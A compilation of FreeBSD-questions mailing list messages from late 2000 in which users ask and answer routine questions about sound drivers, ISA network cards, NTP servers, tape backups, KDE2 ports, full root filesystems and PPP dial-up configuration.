> > > 'this manpage is no longer maintained - we just like installing files'
> > >
> > > seems to be the most common entry.
> > 
> > What can anyone say about an OS where the manpages are considered something
> > `extra' that is not part of the system itself? *sigh*
> 
> It's not just R**H**, it's all of the Linux distributions that use GNU.
> GNU wants you to use info instead of man. What is especially obnoxious
> is when you use info and see the words "this man page is not longer
> maintained...".
> 
> I've been tempted to write an info2man conversion utility and donate it
> to GNU, but I know that they would never use it, too heretical.
> 

	I'll throw in my dime's worth and suggest that every `info'
	page be turned into a man-style page with hyperlinks.  If
	hyperlinks (and space) been available 25 years ago, every 
	manual entry would've had links.  Another think the man 
	pages would've had is examples.  The reason man pages were
	so terse was that disk space was extremely costly.  

	gary




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> Everyone that manages to 
> get a dual boot working seems to be using Win9x, nobody can get it going 
> with 2000/NT.(Please, someone say I'm wrong here)

Hm, I didn't follow this thread, so don't know where the problems are. But
if things work with Win9x, but not with Win2K, then maybe it's Win2k's
fault?
This remembered me to some woes of Win2k's early days, when people found
out, that Win2k will clobber the OS/2 boot manager. This thing lives on
its own small partition, which wasn't recognized by Win2k properly and
therefore destroyed (nothing intentional, of course ;-) ). There is a
patch for Win2k to solve this problem. If the IBM laptop has its own small
partition for BIOS stuff, like some other brands, this could be a
possibility.
Check the Microsoft knowledge base for the exact problem description,
maybe you find some points, which ring your bells.
As far as I know this patch didn't manage to be included in the first
service pack, but has to be still applied by hand.

Just a suggestion, as I don't even know, where the problem actually is :-)

Ciao
Siegbert



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Hi James,

> The card is an ISA Gateway Communications, Inc.  G/Ethertwist
> PC with AUI, UTP, and BNC (jumpers set to UTP operation).

The relevant part of the card is the chipset it uses. So have a look and
tell us the name you will find on it.

Also you can feed some search engine with the name of your card, to look,
if you will find some description of the jumpers. With ISA you have to
avoid both IRQ and address conflicts, so this is really important to setup
correctly.

Ciao
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On Fri, 3 Nov 2000, Giorgos Keramidas wrote:
Hi Giorgos,

> What can anyone say about an OS where the manpages are considered something
> `extra' that is not part of the system itself? *sigh*

That it is often used in embedded systems? ;-)

Ciao
Siegbert

P.S.: Of course FreeBSD man pages are really two classes above Linux'
ones. Does FreeBSD really not allow installation without man-pages? Seems
to be more a bug than a feature, if you want to install on ancient
hardware with small disks (or in embedded systems; is FreebSD used in this
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have configured to the most that I could do. When I dial into my =
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When I=20
dial into my computer from another computer I get the LOGIN prompt and =
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the main=20
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am using=20
Windows 95/98 to dial in my computer through a modem. After the =
verification of=20
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<DIV><FONT color=3D#000000 size=3D2>Allowed network protocols:- tcp/ip =
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For a DSL connection, is CVSup preferred to CVS? I've used CVS in the past
because it's a part of the base system, so I didn't have to install anything
extraneous. But is CVSup considered "better"?

And, if I use CVSup with a 1.5Mbps DSL connection, should I comment out the
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On 1 Nov 2000 12:17:59 -0500, in sentex.lists.freebsd.questions you =
wrote:

>Good Afternoon!
>
>I'm using 4.1-RELEASE for a router. After installing UCD-SNMP, I=20
>discovered that I cannot add interfaces to the config file.=20
>MRTG's cfgmaker cannot determine the speed of the WAN=20
>subinterfaces.

I find that MRTG often gets the speed wrong, or puts it as a zero value.
However, manually adding the speed is all I generally have to do to get
things going after that. Is the cfgmaker totally barfing, or just getting
the speed wrong ?

	---Mike
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I would recommend you read the NAT HOWTO on
http://www.mostgraveconcern.com/freebsd/ for info on that. There's
plenty of info in the natd man page, as well as other places (i.e.
defcon1.org, freebsddiary.org)
-Otter


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}
}I have been trying to get my gateway (AMD K7, 2 NICs, 256MB,
}20GB) machine up
}and running, and I am having trouble getting a system
}working with a kernel that
}uses IP_FIREWALL and IP_DIVERT switches.  When I
}build/install a kernel with
}these switches, I then cannot connect to any network
}services.  Through my first
}e-net card.  I would assume that just turning on these
}switches, without
}running natd, or configuring as a firewall through
}rc.firewall, would not have
}ANY effect on my network access from my gateway machine.
}What am I doing wrong
}here?
}
}By the way, in case you can't tell this is my first time doing this.
}
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I have an 20 GB IDE HDD but can't run both win98se and FreeBSD from the same
harddrive.

My HDD have the following data:
Capacity : 20492 MB
Cylinders : 39704
Heads : 16
Sectors : 63

 I can't get past the boot manager's F? prompt.
Can you tell me how to setup my BIOS so that I can run both OS. Or is there
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The card has an AT&T T 7220 PC chip on it.  Basically what I'm asking for is the
driver I need to use and what IRQ and address settings I need to use with it, as
I am exhausted just guessing by trial and error.

I have checked many search engines, but have not found this specific card just
yet.

Thanks.
James

Siegbert Baude wrote:
> 
> Hi James,
> 
> > The card is an ISA Gateway Communications, Inc.  G/Ethertwist
> > PC with AUI, UTP, and BNC (jumpers set to UTP operation).
> 
> The relevant part of the card is the chipset it uses. So have a look and
> tell us the name you will find on it.
> 
> Also you can feed some search engine with the name of your card, to look,
> if you will find some description of the jumpers. With ISA you have to
> avoid both IRQ and address conflicts, so this is really important to setup
> correctly.
> 
> Ciao
> Siegbert


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Hi,

I'm running FBSD 4.0 and I have installed the apache+ssl-1.3.12.1.40
package, but when I try to start httpsd using "httpsdctl start", I get the
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  /usr/local/sbin/httpsdctl start: httpd could not be started

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Can someone tell me what's wrong and how can I fix it?

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Hi,

Now that I'm in the US, and tired of dealing with a (VAIO) winmodem, I
bought a nice linksys EtherFast 10/100 card since, from the release
notes it's known to work on FreeBSD 4.1.

I checked the freebsd-mobile archives, but while some people state
that it works, I think I need someone to take me by the hand into
configuring this to work. Any pointers somewhere?

tia,

     Pedro.


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> Has anyone installed Oracle 8 (Linux) version on FreeBSD?  If so, I
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I'm in the same boat -- i've heard great (well, ok, good, or at least
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Hello all,

I'm new to the BSD world, coming over from the Linux world.
Everything has worked great, except for getting my sound card
to work (SoundBlaster 128 / Ensoniq ES1370 chipset).

I used the directions I found on defcon1.org.

I compiled a new kernel, with the line 'device pcm0' added.
I've got a dual-processor machine, and have tried both SMP
and non-SMP kernels, FWIW.

The card seems to be detected fine on startup:

speedy#	dmesg | grep pcm
pcm0: <AudioPCI ES1370> port 0xb800-0xb83f irq 14 at device 9.0 on pci0

I created the device entries with 'MAKEDEV snd1'.

However, whenever I try any programs that deal with sound, I get
'device not configured' errors.

i.e.:

speedy#	mixer pcm 100 vol 100 cd 100
mixer: /dev/mixer: Device not configured

Here's the system info:

FreeBSD speedy.davelan 4.1.1-RELEASE FreeBSD 4.1.1-RELEASE #0: Thu Nov  2 19:56:02 MST 2000     root@speedy.davelan:/usr/src/sys/compile/MYKERNEL  i386

Any ideas?

Thanks,
Dave

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dhassler@webdat.com wrote:
> 
> Hello all,
> 
> I'm new to the BSD world, coming over from the Linux world.
> Everything has worked great, except for getting my sound card
> to work (SoundBlaster 128 / Ensoniq ES1370 chipset).
> 
> I used the directions I found on defcon1.org.
> 
> I compiled a new kernel, with the line 'device pcm0' added.
> I've got a dual-processor machine, and have tried both SMP
> and non-SMP kernels, FWIW.
> 
> The card seems to be detected fine on startup:
> 
> speedy# dmesg | grep pcm
> pcm0: <AudioPCI ES1370> port 0xb800-0xb83f irq 14 at device 9.0 on pci0
> 
> I created the device entries with 'MAKEDEV snd1'.
> 
> However, whenever I try any programs that deal with sound, I get
> 'device not configured' errors.
> 
> i.e.:
> 
> speedy# mixer pcm 100 vol 100 cd 100
> mixer: /dev/mixer: Device not configured
> 
> Here's the system info:
> 
> FreeBSD speedy.davelan 4.1.1-RELEASE FreeBSD 4.1.1-RELEASE #0: Thu Nov  2 19:56:02 MST 2000     root@speedy.davelan:/usr/src/sys/compile/MYKERNEL  i386
> 
> Any ideas?

This is what happens when you read the instruction for 3.x and are
using 4.x. It is pci and on 4.x you only need "device pcm". Then, you
./MAKEDEV snd0, to finish making all of the links you need. Since it
has recognized it, you might get away with just the MAKEDEV of snd0
but I wouldn't bet on it. See man pcm for details.

Kent

> 
> Thanks,
> Dave
> 
> --
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I just installed a fresh 4.1.1 system and am having two problems:

1) For some reason, none of the ssh programs (ssh, sshd, ssh-keygen, etc)
seem to have been installed. No errors were encountered during the install. I
thought openssh was part of the default install now (and that's been my
experience on a couple other 4.1 installs I've done). What could cause that,
and what's the best way to fix it? The current 4.1.1 I have working was an
ftp install, the new one was from a cd (downloaded iso). Would that make a
difference?

2) It can't nfs mount an export on another 4.1.1 (Stable) box. A 3.2 FBSD box
has no problems with the nfs mount and both clients are listed in the exports
file, have working dns/rev dns etc. When I try to mount the nfs dir, the
server complains only that "mount request denied from x.x.x.x". Where can I
look for clues to what is going wrong? 

TIA

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"Kent Stewart said:"
> 
> dhassler@webdat.com wrote:

[snip]

> > 
> > I created the device entries with 'MAKEDEV snd1'.
> > 
> > However, whenever I try any programs that deal with sound, I get
> > 'device not configured' errors.
> > 
> > i.e.:
> > 
> > speedy# mixer pcm 100 vol 100 cd 100
> > mixer: /dev/mixer: Device not configured
> > 
> > Here's the system info:
> > 
> > FreeBSD speedy.davelan 4.1.1-RELEASE FreeBSD 4.1.1-RELEASE #0: Thu Nov  2 19:56:02 MST 2000     root@speedy.davelan:/usr/src/sys/compile/MYKERNEL  i386
> > 
> > Any ideas?
> 
> This is what happens when you read the instruction for 3.x and are
> using 4.x. It is pci and on 4.x you only need "device pcm". Then, you
> ./MAKEDEV snd0, to finish making all of the links you need. Since it
> has recognized it, you might get away with just the MAKEDEV of snd0
> but I wouldn't bet on it. See man pcm for details.
> 
> Kent
> 

Thanks for the quick reply, Kent.  For the record, just recreating the
device entries fixed it.

Dave

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a block size of less than 2048 bytes gives me the same problem,
but cat works fine, and so does dd with a bs of 2kB or more.

looks like a bug, if you ask me.

-- christian.


     hp0# dd if=/dev/acd1c | od
     dd: /dev/acd1c: Bad address
     0+0 records in
     0+0 records out
     0 bytes transferred in 0.039836 secs (0 bytes/sec)
     hp0# 
     hp0# 
     hp0# dd if=/dev/acd1c bs=2k | od | head -1
     0000000  000000 000000 000000 000000 000000 000000 000000 000000
     hp0# 
     hp0# cat /dev/acd1c | od | head -1
     0000000  000000 000000 000000 000000 000000 000000 000000 000000
     hp0# 
     hp0# 


> What is wrong here?
> 
> $ dd if=/dev/acd0c | od
> dd: /dev/acd0c: Bad address
> 0+0 records in
> 0+0 records out
> 0 bytes transferred in 0.027961 secs (0 bytes/sec)
> 
> Yet I can mount the device.  
> 
> thanks
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> 
> I just installed a fresh 4.1.1 system and am having two problems:
> 
> 1) For some reason, none of the ssh programs (ssh, sshd, ssh-keygen, etc)
> seem to have been installed. No errors were encountered during the install. I
> thought openssh was part of the default install now (and that's been my
> experience on a couple other 4.1 installs I've done). What could cause that,
> and what's the best way to fix it? The current 4.1.1 I have working was an
> ftp install, the new one was from a cd (downloaded iso). Would that make a
> difference?

Did you install the 'crypto' distribution?  If not, that's your problem.

> 
> 2) It can't nfs mount an export on another 4.1.1 (Stable) box. A 3.2 FBSD box
> has no problems with the nfs mount and both clients are listed in the exports
> file, have working dns/rev dns etc. When I try to mount the nfs dir, the
> server complains only that "mount request denied from x.x.x.x". Where can I
> look for clues to what is going wrong? 

Depending on your configuration (if you use netgroups, for example),
`killall -HUP mountd` may help.

Hope this helps

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I did the same - from 4.1.1 - However, so far, I'm not having any issues
with mine ;)  So far!

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After a little more investigation
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After moving a couple of my shared libraries in /usr/local/lib,
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Damien Tougas wrote:
> 
> I just recently installed KDE2 from the ports, and though there is
> supposed to be a CD player, it does not appear to be anywhere that I
> can find. I also installed kmultimdedia2, but that does not have it
> either. Does this somehow not get installed during the ports
> installation? Or have they named it somthing completely different?

Scsiio.h was deleted from FreeBSD's include tree. KDE's kscd tries to
include it and can't. The make for kscd in kdemultimedia2 dies but
finishes without it. If you have a scsi cdrom, you can't do anything
because scsiio.h is for the old style pre-cam scsi and not appropriate
in the new environment. I had an ide cdrom and grabbed a copy from the
Attic off of ncvs/src/sys/sys/Attic/scsiio.h,v. I have a 2nd machine
with a DVD ROM on it and kscd crashes horribly with the old scsiio.h
installed. I haven't looked to see what would have to be changed in
/usr/ports/audio/kdemultimedia2/work/kdemultimedia-2.0/kscd/libwm/plat_freebsd.c
to work with cam_scsi.

Kent

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Does anyone know where there is a list of current ntp servers?
All the ones I have tried say no suitable server found.  I think I am doing
it right:
ntpdate x.y.edu or whatever, run as root of course.

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Greetings,

I'd like to run cdrecord under my unprivileged user account instead of
root, but I get the following error about not being able to set priority 
using setpriority().  I don't get this error as root.  Do I need to change
the permissions on a certain file or device or something?

Cdrecord 1.9 (i386-unknown-freebsd4.1) Copyright (C) 1995-2000 Jörg Schilling
cdrecord: Operation not permitted. WARNING: Cannot set RR-scheduler
cdrecord: Permission denied. WARNING: Cannot set priority using setpriority().
cdrecord: WARNING: This causes a high risk for buffer underruns.
scsidev: '1,4,0'
scsibus: 1 target: 4 lun: 0
Using libscg version 'schily-0.1'
Device type    : Removable CD-ROM
Version        : 2
Response Format: 2
Capabilities   : SYNC LINKED 
Vendor_info    : 'PLEXTOR '
Identifikation : 'CD-R   PX-W1210S'
Revision       : '1.00'
Device seems to be: Generic mmc CD-RW.
Using generic SCSI-3/mmc CD-R driver (mmc_cdr).
Driver flags   : SWABAUDIO
cdrecord: Operation not permitted. WARNING: Cannot set RR-scheduler
cdrecord: Permission denied. WARNING: Cannot set priority using setpriority().
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In the last episode (Nov 03), j mckitrick said:
> Does anyone know where there is a list of current ntp servers? All
> the ones I have tried say no suitable server found.  I think I am
> doing it right:
> ntpdate x.y.edu or whatever, run as root of course.

The first place you should look is your own ISP.  They have to synch
their clocks somehow, and it's better to synch to sites close to you,
net-wise.  For example, the mailhost your machine used to send your
message (mailrouter1.mcc.ac.uk) is an NTP server.

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On Fri, Nov 03, 2000 at 04:25:10AM +0000, j mckitrick wrote:
> 
> Does anyone know where there is a list of current ntp servers?
> All the ones I have tried say no suitable server found.  I think I am doing
> it right:
> ntpdate x.y.edu or whatever, run as root of course.
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I'm trying to backup a 4.1-RELEASE system to a :

sa1: <HP C5683A C908> Removable Sequential Access SCSI-2 device 
sa1: 20.000MB/s transfers (10.000MHz, offset 8, 16bit)
(20/40G DAT)

After about 370Meg, I get:

Backing up the system...
tar: Removing leading / from absolute path names in the archive.
tar: Removing leading / from absolute links
Total bytes written: 369643520
tar (child): can't write to /dev/rsa1 : Invalid argument

I used ktrace to verify that it is the write system call to the tape
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As with the recent spam of the FreeBSD lists with the virus spam, can 
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I use fetchmail to download mail to sendmail and cucipop to allow me to 
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http://www.eecis.udel.edu/~mills/ntp/servers.htm

> Does anyone know where there is a list of current ntp servers?
> All the ones I have tried say no suitable server found.  I think I am doing
> it right:
> ntpdate x.y.edu or whatever, run as root of course.
> 
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In the last episode (Nov 02), Alan Batie said:
> I'm trying to backup a 4.1-RELEASE system to a :
> 
> sa1: <HP C5683A C908> Removable Sequential Access SCSI-2 device 
> sa1: 20.000MB/s transfers (10.000MHz, offset 8, 16bit) (20/40G DAT)
> 
> After about 370Meg, I get:
> 
> Backing up the system...
> tar: Removing leading / from absolute path names in the archive.
> tar: Removing leading / from absolute links
> Total bytes written: 369643520
> tar (child): can't write to /dev/rsa1 : Invalid argument
> 
> I used ktrace to verify that it is the write system call to the tape
> that gets the error...

The tape driver will usually log a more detailed message to the console
and /var/log/messages; if you get a "MEDIUM ERROR", it's probably a bad
tape.

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j mckitrick wrote:
> 
> Does anyone know where there is a list of current ntp servers?
> All the ones I have tried say no suitable server found.  I think I am doing
> it right:
> ntpdate x.y.edu or whatever, run as root of course. 

My version of right is probably similar to your joke about "is". 

What I have in rc.conf is 


### Network Time Services options: ###
xntpd_enable="YES"
xntpd_program="ntpd"
xntpd_flags="-p /var/run/ntpd.pid"


I have a ntp.conf that looks like

server time.nist.gov prefer
server 127.127.1.0
fudge 127.127.1.0 stratum 10
driftfile /etc/ntp.drift

It works. I have an alias in root that set it the first time. It looks
like
setdate (/usr/local/sbin/rdate -s time.u.washington.edu)

I used to dial in and run setdate and then use adjdate to correct the
time factors.

The system gets +/- ~.5 seconds and it corrects itself. I have all of
my FreeBSD and Windows 2K machines pointing to my gateway. It doesn't
have any problems with the firewall and the rest don't have any
problem geting the time from it. Most of what I have is straight out
of "man ntpd".

Kent
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> Does anyone know where there is a list of current ntp servers?
> All the ones I have tried say no suitable server found.  I think

tock.usnogps.navy.mil
tick.usno.navy.mil
tock.usno.navy.mil

I don't know where the reference list is; I got these out of a Win app
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* David J. Kanter <david.kanter@mindspring.com> [001102 18:14] wrote:
> For a DSL connection, is CVSup preferred to CVS? I've used CVS in the past
> because it's a part of the base system, so I didn't have to install anything
> extraneous. But is CVSup considered "better"?

CVSup is considerably easier on bandwidth and disk access.

> And, if I use CVSup with a 1.5Mbps DSL connection, should I comment out the
> *default compress line?

That's what's suggested.

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Hi...,

I am a new user to freebsd... after much hassle of
confuguring..and installing... i had my freebsd-4.1.1
running... Sadly.., i am encoutering this
problem..."write to file failed, file system
full"..."no space left on device". What i did... i
removed all the files from the /tmp directory...and
restarted my comp.... but now... i cant go to my GUI
with the command...startx....it just stalled there...
anyone knows...how to solve this problem?

DO i need to reinstall my freebsd? Ifi encounter the
same "write to file failed" what shall i do??? please
anyone...do help me... feeling very helpless....


Kalai

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I found the dipswitch and jumper diagrams for my network card, finally, from
ftp.microdyne.com.  I am able to set it to whatever I need.  However, I do not
know which driver to use in the kernel config before install.  Again, I have a
Gateway Communications, Inc. ISA G/Ethertwist PC card with UTP and AUI (model
82200023-03).  I am not sure if this is NE2000 compatible or not.  I have
attempted, several times, to load the kernel with the NE2000 driver supplied,
but after it checks my ppbus (which is at the time it would detect my network
card), it hangs.  Does this mean I am using the correct driver, and that I need
to change address and irq settings to coincide with the system (I am making sure
there are no conflicts...), or does this mean that I have the wrong driver?  I
use other drivers and they do not detect it and just go straight into the
install.

I am quickly getting frustrated with this, and would like any and all help that
I could get, please.  If anyone has had a similar problem, please let me know
what you did to resolve it (if possible).

Thanks.
James




James Stephenson wrote:
> 
> The card has an AT&T T 7220 PC chip on it.  Basically what I'm asking for is the
> driver I need to use and what IRQ and address settings I need to use with it, as
> I am exhausted just guessing by trial and error.
> 
> I have checked many search engines, but have not found this specific card just
> yet.
> 
> Thanks.
> James
> 
> Siegbert Baude wrote:
> >
> > Hi James,
> >
> > > The card is an ISA Gateway Communications, Inc.  G/Ethertwist
> > > PC with AUI, UTP, and BNC (jumpers set to UTP operation).
> >
> > The relevant part of the card is the chipset it uses. So have a look and
> > tell us the name you will find on it.
> >
> > Also you can feed some search engine with the name of your card, to look,
> > if you will find some description of the jumpers. With ISA you have to
> > avoid both IRQ and address conflicts, so this is really important to setup
> > correctly.
> >
> > Ciao
> > Siegbert


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[4.1.1-Stable on x86]

I'm using /usr/sbin/ppp with a V.90 modem.  I wonder if there's any
way to have ppp ask the modem the current speed it's using with the
modem at the other end.  (I already know that it connects at 46667, I
want to know how soon and how often it retrains down to slower
speeds.)  And I want to do this without dropping the connection.

Ideas?

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I have sent very nice PPP how-to in russian language. Hope this will
help. 

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Hi All.
I am a new user of any Unix flavour, so I may sound funny ;-)

I have installed 4.1.1 on a ATA-66 HDD connected to Promise Ultra66.
Everything is fine except IDE CD-R; the system tells there is no CD-R drive
at all.
My Mandrake sees HDD as /dev/hde and the Yamaha CD-RW in question as
/dev/hdg/.

Did I miss a kernel configuration step during initial installation?
I am clueless  at this point. Thank you very much in advance, and forgive me
if I did not provide all necessary info: I just don't know what would be
relevant and necessary.

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On Thu, Nov 02, 2000 at 10:46:52PM -0600, Dan Nelson wrote:
> The tape driver will usually log a more detailed message to the console
> and /var/log/messages; if you get a "MEDIUM ERROR", it's probably a bad
> tape.

You're right, it did log it; I should have thought of looking there:

Nov  2 11:59:56 agora /kernel: (sa1:ahc0:0:12:0): Invalid request.  Fixed block device requests must be a multiple of 1024 bytes

Except that's bogus.  I'm using tar which normally writes 10K blocks, and
in this last case, I had it writing 1M blocks.

But sure enough:

 16683 tar      CALL  write(0x3,0x8094000,0x11e6)
 16683 tar      RET   write -1 errno 22 Invalid argument

0x11e6 is definitely not blocked however.

tar does have the "--block-compress" option, so I'm trying that now...

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I tried to make /usr/ports/x11/kde2 which seemed to progress quite a ways
but then died with some cryptic error on the koffice files.  I did a
little digging and it appears to me that the configure script is not set
up to find qt, or jpeg-6b (possibly others) correctly.

For example, I can get the koffice configure to find qt but I had to do
two things:

./configure --with-qt-includes=/usr/X11R6/include/qt2
--with-qt-libraries=/usr/X11R6/lib

and

ln -s /usr/X11R6/include/qt2 /usr/X11R6/include/qt

(assuming no typos - sorry it's late).

It still does not find jpeg-6b which on my system seems to install only as
"jpeg" where the configure script is looking for "jpeg6b".

Am I nuts?  I'd like to try out KDE2 but clearly I need to get this
reconciled first.  I'm not good with autoconf so any help would be
appreciated.

Also, is KDE2 is looking at the qt library, which I assume is
qt 1.something, and it should be looking at qt2????


Just FYI:

~ 473 $ uname -a
FreeBSD flanders.localdomain 4.1.1-STABLE FreeBSD 4.1.1-STABLE #13: Sun
Oct 29 21:03:17 EST 2000

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* satkal79@yahoo.com <satkal79@yahoo.com> [20001103 08:02]:
=>Hi...,
=>
=>I am a new user to freebsd... after much hassle of
=>confuguring..and installing... i had my freebsd-4.1.1
=>running... Sadly.., i am encoutering this
=>problem..."write to file failed, file system
=>full"..."no space left on device". What i did... i
=>removed all the files from the /tmp directory...and
=>restarted my comp.... but now... i cant go to my GUI
=>with the command...startx....it just stalled there...
=>anyone knows...how to solve this problem?
=>
=>DO i need to reinstall my freebsd? Ifi encounter the
=>same "write to file failed" what shall i do??? please
=>anyone...do help me... feeling very helpless....

Pls send the output of the command df -h and let us see what your disk
usage is.


=>
=>
=>Kalai
=>
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Hi,

I am finding for the source code for the function
gethostbyname.c . DOes anyone have it...?? I cant find
it in the handbook....? can anyone tell me where can i
get the codes for it??

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From: Igor Roboul <igor@raduga.dyndns.org>
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On Thu, Nov 02, 2000 at 09:22:55PM -0600, jmelesky@dynamictrade.com wrote:
> > Has anyone installed Oracle 8 (Linux) version on FreeBSD?  If so, I
> > need to know the install process for this installation.
> 
> I'm in the same boat -- i've heard great (well, ok, good, or at least
> decent) things about running Oracle/Linux on FreeBSD, but haven't
> actually gone through the install. Today my boss turned around and
> told me to do it. Are there any howtos? Any help would be appreciated.
Ok, I'll try be polite, BUT ....
why you just didn't go http://www.freebsd.org and in search field didn't
wrote Oracle and hit Enter?
Why? Why? Why? 
Ok, I did this for YOU, http://www.freebsd.org/handbook/linuxemu-oracle.html
but, next time, please, try find answer youself, Ok? :-)

Linux Oracle on FreeBSD. Linux Oracle on FreeBSD. Linux Oracle on FreeBSD.
So next time someone will search in mailing list archives for Oracle, he
will find this mail :-)

http://www.freebsd.org/handbook/linuxemu-oracle.html
http://www.freebsd.org/handbook/linuxemu-oracle.html
http://www.freebsd.org/handbook/linuxemu-oracle.html
http://www.freebsd.org/handbook/linuxemu-oracle.html
http://www.freebsd.org/handbook/linuxemu-oracle.html
http://www.freebsd.org/handbook/linuxemu-oracle.html


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--- Odhiambo Washington <wash@iconnect.co.ke> wrote:
> * satkal79@yahoo.com <satkal79@yahoo.com> [20001103
> 08:02]:
> =>Hi...,
> =>
> =>I am a new user to freebsd... after much hassle of
> =>confuguring..and installing... i had my
> freebsd-4.1.1
> =>running... Sadly.., i am encoutering this
> =>problem..."write to file failed, file system
> =>full"..."no space left on device". What i did... i
> =>removed all the files from the /tmp
> directory...and
> =>restarted my comp.... but now... i cant go to my
> GUI
> =>with the command...startx....it just stalled
> there...
> =>anyone knows...how to solve this problem?
> =>
> =>DO i need to reinstall my freebsd? Ifi encounter
> the
> =>same "write to file failed" what shall i do???
> please
> =>anyone...do help me... feeling very helpless....
> 
> Pls send the output of the command df -h and let us
> see what your disk
> usage is.
> 
> 
> =>
> =>
> =>Kalai
> =>
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My disk usage :

Filesystem    Size  Used  Avail  Capacity  Mounted on
/dev/ads0s1a  48M   48M   -3.9M   109%      /
/dev/ads0s1f  1.6G  517M  1.0G     34%      /usr
/dev/ads0s1e  19M   2.0M  16M      11%      /var
procfs        4.0K  4.0K   oB     100%      /proc


Hoping to get your reply.........


Kalai

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On Fri, Nov 03, 2000 at 04:23:35PM +1100, Christopher Vance wrote:
> want to know how soon and how often it retrains down to slower
> speeds.)  And I want to do this without dropping the connection.
Just check logs. If you have enable logs, you'll find lot of CONNECTs
with speed :-)

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David Banning wrote:
> 
> After send a message with mutt or mail, send-mail tends to take about
> 10 minutes or so to send it.
> 
> I continue to do a;
> 
>  $ ps ax | grep send
> and get
> 
>   139  ??  Ss     0:03.31 sendmail: accepting connections on port 25 (sendmail)
> 62599  p3  S      0:00.23 send-mail -i lowell@world.std.com (sendmail)
> 62655  p3  S      0:00.15 send-mail -i ggrx@cris.com (sendmail)

It means that connection to that address is not good. Or somethere near
you recipient
Net went down. You can safely reboot - it will deliver next time you
boot FreeBSD.

> 
> showing recent emails going out...
> 
> what is it waiting for - it wouldn't be an issue, but right
> now I need to shut down the system, fire up windows 95, do
> some work - and leave to do some tasks.  I'm kept waiting
> here on sendmail...
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&nbsp;
<p>"Crist J . Clark" wrote:
<blockquote TYPE=CITE>On Wed, Nov 01, 2000 at 09:04:26PM -0600, Steve Price
wrote:
<br>> Howdy all,
<br>>
<br>> Don't know if it is just a couple of days of absolutely no
<br>> sleep or what but I've been scratching my over head what
<br>> should be a simple problem.
<br>>
<br>> Basically what I'm trying to do is setup a non-interactive
<br>> script that edits my crontab.&nbsp; When I type the following
<br>> commands in it comments out the first entry.&nbsp; However, when
<br>> I run it by redirecting stdin from a file it doesn't work.
<br>> >From the looks of it (note the 37 -> 38 change) the file
<br>> is being updated but crontab is ignoring the change.
<br>></blockquote>
May be, you choose wrong method to do; if you need from time to time do
something with
<br>1 second intervals you'll be better run script with 'sleep 1' command
in it and internal counter.
<blockquote TYPE=CITE>&nbsp;
<br>> steve@bsd(/tmp)$ crontab -l
<br>> # DO NOT EDIT THIS FILE - edit the master and reinstall.
<br>> # (/tmp/crontab.teFMi62568 installed on Wed Nov&nbsp; 1 20:47:27
2000)
<br>> # (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v
1.12 1999/08/28 01:15:52 peter Exp $)
<br>> */1&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /home/steve/bin/bogus.sh
<br>> steve@bsd(/tmp)$ cat cmds
<br>> 1s/^/#/
<br>> wq
<br>> steve@bsd(/tmp)$ env VISUAL=/bin/ed crontab -e &lt; cmds
<br>> 37
<br>> 38
<br>> crontab: no changes made to crontab
<br>> steve@bsd(/tmp)$ cat cmds | env VISUAL=/bin/ed crontab -e
<br>> 37
<br>> 38
<br>> crontab: no changes made to crontab
<br>> steve@bsd(/tmp)$
<br>>
<br>> Can anyone tell what I'm doing wrong?&nbsp; Thanks.
<p>Don't ask me why, but try this,
<p>&nbsp; $ { echo '1s/^/#/'; echo w; } | env VISUAL=/bin/ed crontab -e
<p>And see what happens. (Just lost the 'q.')
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From owner-freebsd-questions  Thu Nov  2 22:18:36 2000
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In the last episode (Nov 02), Alan Batie said:
> On Thu, Nov 02, 2000 at 10:46:52PM -0600, Dan Nelson wrote:
> > The tape driver will usually log a more detailed message to the
> > console and /var/log/messages; if you get a "MEDIUM ERROR", it's
> > probably a bad tape.
> 
> You're right, it did log it; I should have thought of looking there:
> 
> Nov  2 11:59:56 agora /kernel: (sa1:ahc0:0:12:0): Invalid request.  Fixed block device requests must be a multiple of 1024 bytes
> 
> Except that's bogus.  I'm using tar which normally writes 10K blocks,
> and in this last case, I had it writing 1M blocks.

BTW: FreeBSD currently has a (rather small) SCSI I/O limit of 64K, so
your 1MB write will be split up into 16 64K blocks on tape.

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> Hi,
> 
> I am finding for the source code for the function
> gethostbyname.c . DOes anyone have it...?? I cant find
> it in the handbook....? can anyone tell me where can i
> get the codes for it??

You want src/lib/libc/net/gethostbynamadr.c.  The corresponding CVSWeb
URL is
http://www.FreeBSD.org/cgi/cvsweb.cgi/src/lib/libc/net/gethostbynamadr.c.

Hope this helps

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I have two modems connected to cuaa0 and cuaa1.  User ppp in interactive
mode can talk to both of them.  ppp in auto seems to intialize ok, and can
dial and connect on the first modem.  However, it can't authenticate with
the server, and I can't read the log well enough to determine why.  It looks
like the server is asking for PAP, but after ppp sends the username and
password something seems to go wrong and I don't know what.

I tried it with a unix-style login chat script, but that's definitly wrong.
The server never sends a login: prompt in the clear.  I checked that in
interactive mode too.

Could someone look this over and tell me what you see?  Thanks.  (ppp.conf
is at the bottom)

Oct 27 11:49:44 brittany ppp[228]: Phase: Using interface: tun0
Oct 27 11:49:44 brittany ppp[228]: Phase: deflink: Created in closed state
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: default: set speed 115200
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: default: set dial ABORT
BUSY ABORT NO\sCARRIER ABORT NO\sDIALTONE TIMEOUT 5            "" AT
OK-AT-OK ATE1Q0 OK \dATDT\T TIMEOUT 40 CONNECT
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: fisi_multi_auto: load
fisi_auth
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: fisi_auth: set phone
326-5625
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: fisi_auth: set authname
avalon

Oct 27 11:49:44 brittany ppp[228]: tun0: Command: fisi_auth: set authkey
********
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: fisi_multi_auto: load
multi_auto
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: set reconnect
10 0
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: set mrru 1500
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: set mru 1504
Oct 27 11:49:44 brittany ppp[228]: tun0: Command: multi_auto: set login
